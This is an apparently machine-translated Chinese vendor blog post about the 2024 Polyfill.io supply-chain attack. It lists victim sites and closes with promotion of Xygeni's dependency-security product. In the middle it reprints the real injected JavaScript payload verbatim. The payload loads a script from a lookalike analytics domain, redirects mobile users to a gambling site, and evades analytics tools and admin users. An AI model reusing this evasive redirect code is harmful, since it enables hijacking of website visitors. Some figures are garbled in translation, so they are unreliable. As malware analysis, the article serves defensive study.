polyfill 攻击-polyfill-供应链攻击-软件-供应链攻击

揭秘 Polyfill 攻击:深入探究

二月2024, Polyfill.io 供应链攻击—一个典型的例子 软件供应链攻击— 入侵了全球超过 100,000 万个网站。此次事件涉及 包裹劫持其中,恶意实体 FUNNULL 控制了 Polyfill 的域名和 GitHub 存储库,向该服务注入了恶意软件。该恶意软件专门针对移动用户,利用 Polyfill 基于 HTTP 标头和用户代理的动态代码交付中的漏洞,将用户重定向到欺诈性赌博网站。

技术解析:Polyfill 攻击的工作原理

Polyfill 被广泛采用,以确保现代 Web 功能与旧版浏览器之间的兼容性。攻击者使用了 包裹劫持 通过购买 cdn.polyfill.io 域并嵌入恶意脚本。这次攻击之所以如此危险,是因为恶意软件的行为非常复杂:

  • 动态代码生成:Polyfill 的服务根据访问网站的设备(例如,移动设备与台式机)、HTTP 标头和用户代理生成定制的 JavaScript 响应。攻击者利用这种动态特性,注入针对特定设备(尤其是手机)定制的恶意负载。
  • 规避技巧:该恶意软件非常聪明。当检测到 Google Analytics 等分析服务时,它会延迟执行,从而阻止其操作出现在网站统计信息中。此外,如果检测到管理员用户或开发人员,它就不会激活,从而进一步避免在调试或测试期间被早期检测到。
  • 移动重定向:一旦激活,恶意软件就会冒充合法域名,将用户重定向到欺诈性赌博网站(例如, googie-anaiytics.com)。攻击者甚至操纵时间窗口以减少怀疑,仅在特定时段执行有效载荷,以让毫无戒心的移动用户措手不及。

受 Polyfill 攻击影响最大的网站

Polyfill 供应链攻击 影响了超过 100,000 个网站,其中包括以下主要组织:

  • 世界经济论坛
  • 意会
  • JSTOR
  • 爱尔兰银行
  • Coldwell Banker
  • Live Nation公司
  • 布兰代斯大学
  • 迪拜机场公司
  • 美国环保基金

这些备受瞩目的受害者凸显了此次袭击的全球影响力以及 大型机构供应链违规

预警与响应

安德鲁·贝茨Polyfill 的原创者在攻击发生前几个月就警告开发者 停止使用 Polyfill 服务 在他失去对域名的控制权后。他的警告在很大程度上被忽视了,直到 FUNNULL 发起攻击。一旦检测到, Cloudflare 和 Fastly 等内容交付网络 提供了安全的替代方案,而 Betts 则重申他建议开发人员完全删除 Polyfill 引用。

Polyfill 恶意负载示例

为了说明 Polyfill 供应链攻击的复杂性, 桑赛克 提供了所使用的恶意负载的详细示例。此负载会根据用户的设备进行动态调整,触发重定向到欺诈性网站并使用技术来逃避检测。要详细了解此负载的技术细节,您可以查看 Sansec 的 完整分析和恶意代码示例。

function isPc() {
  try {
    var _isWin =
        navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac =
        navigator.platform == "Mac68K" ||
        navigator.platform == "MacPPC" ||
        navigator.platform == "Macintosh" ||
        navigator.platform == "MacIntel";
    if (_isMac || _isWin) {
      return true;
    } else {
      return false;
    }
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS(
      "https://www.googie-anaiytics.com/html/checkcachehw.js",
      function () {
        if (usercache == true) {
          window.location.href = _0x5ae1f8;
        }
      }
    );
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(
    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
  );
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (
      _curHost.indexOf("www.dxtv1.com") !== -1 ||
      _curHost.indexOf("www.ys752.com") !== -1
    ) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else {
      if (_curHost.indexOf("shuanshu.com.com") !== -1) {
        _redirectURL = "https://kuurza.com/redirect?from=bitget";
      } else {
        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_hours >= 0 && _hours < 2) {
            if (_rnd <= 10) {
              _redirectURL = _kuurzaBitGet;
            }
          } else {
            if (_hours >= 2 && _hours < 4) {
              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
            } else {
              if (_hours >= 4 && _hours < 7) {
                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
              } else {
                _hours >= 7 && _hours < 8
                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
              }
            }
          }
        }
      }
    }
    _redirectURL != "" &&
      !isPc() &&
      document.cookie.indexOf("admin_id") == -1 &&
      document.cookie.indexOf("adminlevels") == -1 &&
      vfed_update(_redirectURL);
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

Polyfill供应链攻击为何发生?

Polyfill 供应链攻击凸显了 第三方依赖的漏洞 管理。现代 JavaScript 生态系统严重依赖开源库,开发人员经常使用 npm 等工具自动集成这些库。如果没有严格的审核或持续监控,受损的软件包可能会被忽视,就像 Polyfill 一样。

此外,当今软件环境中的开发和部署速度飞快,因此功能和速度往往比全面的安全检查更重要。攻击者利用这一漏洞,以流行的库为目标,最大限度地发挥其影响力。在 Polyfill 的案例中,一旦攻击者控制了域名,他们就会利用该库的广泛使用,向大量网站注入恶意代码。

此次事件凸显了实施严格的安全措施(如依赖性审计工具、实时监控和强大的事件响应计划)以防范类似软件供应链攻击的重要性。组织必须在其开发工作流程中优先考虑安全性,以有效保护其数字生态系统。

预防未来攻击:强大的依赖管理

在管理依赖项时, Xygeni 的 Open Source Security 平台 采用多层保护,旨在实时检测、隔离和修复恶意组件并避免软件供应链攻击。

实时恶意软件检测:Xygeni 持续监控公共注册表,在可疑代码进入开发环境之前对其进行扫描。这可以主动阻止诸如 Polyfill 攻击之类的威胁,正如 路易斯·罗德里格斯的 系列文章。 

自动警报和隔离:Xygeni 自动隔离受感染的软件包并生成警报,让开发团队能够快速采取行动。通过与 CI/CD pipelines,任何威胁都可以在进入生产环境之前被阻止。在类似 Polyfill 事件的情况下,此功能通过及早阻止恶意代码来防止广泛影响。

动态优先级和 SBOM:Xygeni 根据上下文、可利用性和业务影响动态地对漏洞进行优先级排序。通过生成 实时软件物料清单(SBOM),组织可以跟踪所有第三方组件,确保完全透明。这种实时监控在管理开源依赖项时至关重要,可以快速响应诸如 Polyfill 劫持之类的事件。

在以下文章系列中 路易斯·罗德里格斯,重点关注 主动防御 详细讨论了如何防范恶意开源软件包。Xygeni 的方法不仅涵盖实时检测,还提供自动补救途径,使组织能够在不中断生产的情况下回滚到安全版本

看一看 开源恶意软件包 请参阅此处的文章系列,了解有关 Xygeni 如何管理开源安全的更多信息。

Polyfill 攻击的教训

Polyfill.io 供应链攻击 传授了关于现代 Web 开发中第三方依赖的风险的重要课程。

  • 对第三方依赖的警惕:这是最重要的结论。组织必须 定期审查、审核和监控 他们使用的所有第三方库。过度依赖未经审查的依赖项可能会使系统面临严重风险。
  • 主动安全措施:持续监测,例如 Xygeni 的实时威胁检测,可尽早发现漏洞。
  • 教育和培训:让所有团队成员了解最新威胁可增强组织安全性。

Polyfill 供应链攻击有力地提醒我们, 软件供应链攻击。这些攻击利用广泛使用的第三方组件中的漏洞,使各种规模的组织都暴露在风险之中。通过采取主动的安全措施,例如 实时监控, 自动威胁检测强大的依赖管理— 就像 Xygeni 提供的那样 — 公司可以保护自己免受未来类似的威胁。保持警惕并全面监督第三方库是防止像 Polyfill 这样的大规模入侵的关键。

保护您的开源依赖项免受软件供应链攻击

不要让你的应用程序成为 软件供应链攻击 比如 Polyfill。Xygeni 的 Open Source Security 平台 提供实时监控、高级依赖关系映射和自动修复,以保护您的开发 pipeline来自受损的包裹。

立即控制您的软件供应链。 保存演示 并了解 Xygeni 如何保护您的组织免受未来威胁。

sca-tools-软件-成分分析工具
确定软件风险的优先级、进行补救并加以保护
7-day免费试用
无需信用卡

保护您的软件开发和交付

使用 Xygeni 产品套件